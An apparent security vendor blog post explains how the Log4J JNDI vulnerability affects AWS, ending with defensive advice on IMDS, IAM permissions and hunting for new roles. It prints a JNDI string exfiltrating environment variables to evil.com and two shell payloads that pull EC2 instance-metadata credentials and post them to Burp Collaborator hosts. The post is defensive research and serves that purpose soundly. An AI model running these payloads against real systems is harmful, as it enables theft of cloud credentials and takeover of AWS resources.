What does Log4J mean for cloud environments?
Unless you’ve been blissfully living under a rock, the last couple weeks in security and technology have been consumed with a major vulnerability in the Log4J Java Library. The Log4J JNDI vulnerability isn’t so much a single vulnerability rather it’s a platform for launching attacks via remote code execution.
By now, responders, analysts and engineers are working through the following rapids response steps
- Identifying affected systems and rolling out patches
- Rotating credentials
- Looking for indicators of compromise
This post addresses the third step in response, hunting for indicators of compromise and understanding the potential impact of a vulnerable Log4J library, specifically when deployed in a public cloud environment. This is in addition to Vectra’s other statements on the topic pertaining to on-premise networks.
How can attackers exploit the Log4J vulnerability?
Log4J fundamentally is an injection vulnerability with two avenues for exploitation of a system.
1. Remote Code Execution via External Java Class File
- With the injection vulnerability in the logging framework Log4J, it's possible to elicit a victim server to make an HTTP request to a remote server where the victim server expects to be returned a Java Class File.
- When the attacker controls the external server, they also control the content returned to the victim in the response. Here, arbitrary code can be delivered the victim server, embedded within a Java Class File and will be executed by the victim server.
2. Data Exfiltration via DNS lookup
- The victim server is elicited to make an outbound query to an external server as a result of an injection vulnerability. Since the attacker controls the hostname of the external server, this becomes a mechanism to leak the value of environment variables.
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
How does the Log4J vulnerability uniquely impact cloud deployments?
It’s been widely reported and recognized that with a vulnerable Log4J library on a system, an attacker would have the ability to retrieve the value of any environment variables through data exfiltration via the DNS lookup mechanism. Commonly found AWS variables containing secrets have been circulated with the expectation that these AWS-specific variables might be commonly found in cloud environments.
However, assigning secrets to environment variables is a poor practice and is not likely to be found on the largest attack surface in AWS, the EC2 instance.
AWS-specific environment variables are likely to be set on endpoints - workstations where the awscli has been configured by an end user and in lambda functions where the variables ‘AWS_ACCESS_KEY_ID’, ‘AWS_SECRET_ACCESS_KEY’ and ‘AWS_SESSION_TOKEN’ are preconfigured by the runtime.
AWS-specific environment variables are NOT LIKELY to be found on EC2 instances. Instead, applications running on AWS EC2 instances would use the temporary credentials of the EC2 Instance Profile assigned to the EC2 Instance. These temporary credentials are issued by an internal HTTP endpoint called the Instance Metadata Service (IMDS). As such, we can use the Log4J vulnerability to extract these credentials from an EC2 Instance.
Using Remote Code Execution to extract Instance Metadata credentials
By leveraging the swiss army knife of the Log4J vulnerability, a malicious actor could extract temporary session credentials from an EC2 instance and act against your AWS resources.
Example of possible attack path with payloads
1. Inject JNDI Payload instructing victim EC2 to query the internal instance metadata API for the IAM Role the EC2 is running as, save the role name to a file and post back to attacker-controlled endpoint
- 1st payload delivered to EC2 Instances Running IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2. Armed with the Role Name, inject another JNDI Payload instructing victim EC2 to query the internal instance metadata API for a temporary session token, save the token as a file and post the contents of the file back to attacker-controlled endpoint
- 2nd Payload to be delivered to EC2 Instances Running IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3. A final JNDI Payload can be sent instructing victim EC2 to remove temporary files created in previous two injections
The extracted session token would have a default TTL of 1 hour. An attacker could use this time to take actions on AWS resources as if they were the EC2 instance, perhaps even perform persistence techniques like the creation of new users or roles. Impact is wholly dependent on the permissions assigned to the EC2 instance.
Variations on Extracting IMDS Credentials via Log4J
Potential methods for extracting credentials from the instance metadata service on an EC2 instances are vast and varied. An attacker may use any variation of a payload that uses HTTP to query the internal service to retrieve credentials. A payload could be delivered in 2 steps as described above or condensed into a single step. A payload could be delivered which stores response from the instance metadata service to environment variables, where the value of the environment variable is extracted via a secondary JNDI injection. The only consistent signature across all possible variations is the necessity to make an HTTP request to the instance metadata service running on the EC2 instance.
IMDSv1 versus IMDSv2
In response to rampant exploitation of the EC2 instance metadata service, in 2019 AWS announced a v2 of the service, IMDSv2. IMDSv2 requires 2 HTTP calls to be made to the internal EC2 instance metadata service, with the response from the first call used as the input to the second call in order to retrieve temporary session credentials, effectively creating a session-based instance metadata service. Enforcement of IMDSv2 is critical defense-in-depth strategy when protecting against web application vulnerabilities such as SSRF which can often lead to exposed EC2 credentials. However, specifically as it relates to the exploitation of the Log4J vulnerability, an attacker can execute arbitrary commands on the victim EC2 instance, as a result, IMDSv2 does not offer any protections against the extraction of temporary credentials via instance metadata service.
How can one defend their EC2 footprint?
Beyond identifying and patching their vulnerable Log4J library, what could system owners do?
1. Limit the blast radius of any potential compromise
- Disable the instance metadata service HTTP endpoint and do not assign EC2 Instances Roles where they are not needed
- Review the policies and permissions attached to all your Cloud Resources (EC2 Instances, Lambda Functions, Containers, etc). Descope assigned permissions paying particular attention to any IAM permissions which could be used as a persistence mechanism.
- Continue to follow recommendations which involve inspecting environment variables on systems and rotating credentials. Keep in mind though, those recommendations fall short if an attacker uses their access to directly query the internal metadata API for credentials.
2. Identify any unauthorized changes to your environment
- When hunting for indicators of compromise, review your AWS estate for any new IAM resources created such as new Users, Roles or Trust Policies.
Some final thoughts
Attacking the EC2 instance metadata API is not novel. The abuse of this service has been described by researchers as long as there have been cloud security researchers. This is not a ‘new bug’, rather a new articulation of the impact of the Log4J vulnerability on cloud computing. While this post has been specific to the threat against an AWS environment, all the same principals hold true in any GCP or Azure environment.
Testing Log4J Exploits on AWS
As a part of this research, I developed a Log4J sandbox. This sandbox includes an EC2 instance with the original JNDI Expoit Server from the researcher feihong and a java-based vulnerable application provided by @christophetd. I have made this sandbox and the Terraform to deploy in AWS, publicly available to assist future researchers get up to speed on Log4J faster or use as a training tool in their organizations.
Special Thanks
Big shout out to @christophetd for publishing a vulnerable Log4J docker app. I used their vulnerable application in my testing and have bundled it in my Terraform deployment of a Log4J Testing Sandbox.
Stay tuned for a follow-up blog on how continuous threat detection can prevent attackers’ initial compromise from progressing in your AWS footprint – and how Vectra’s Detect for AWS delivers.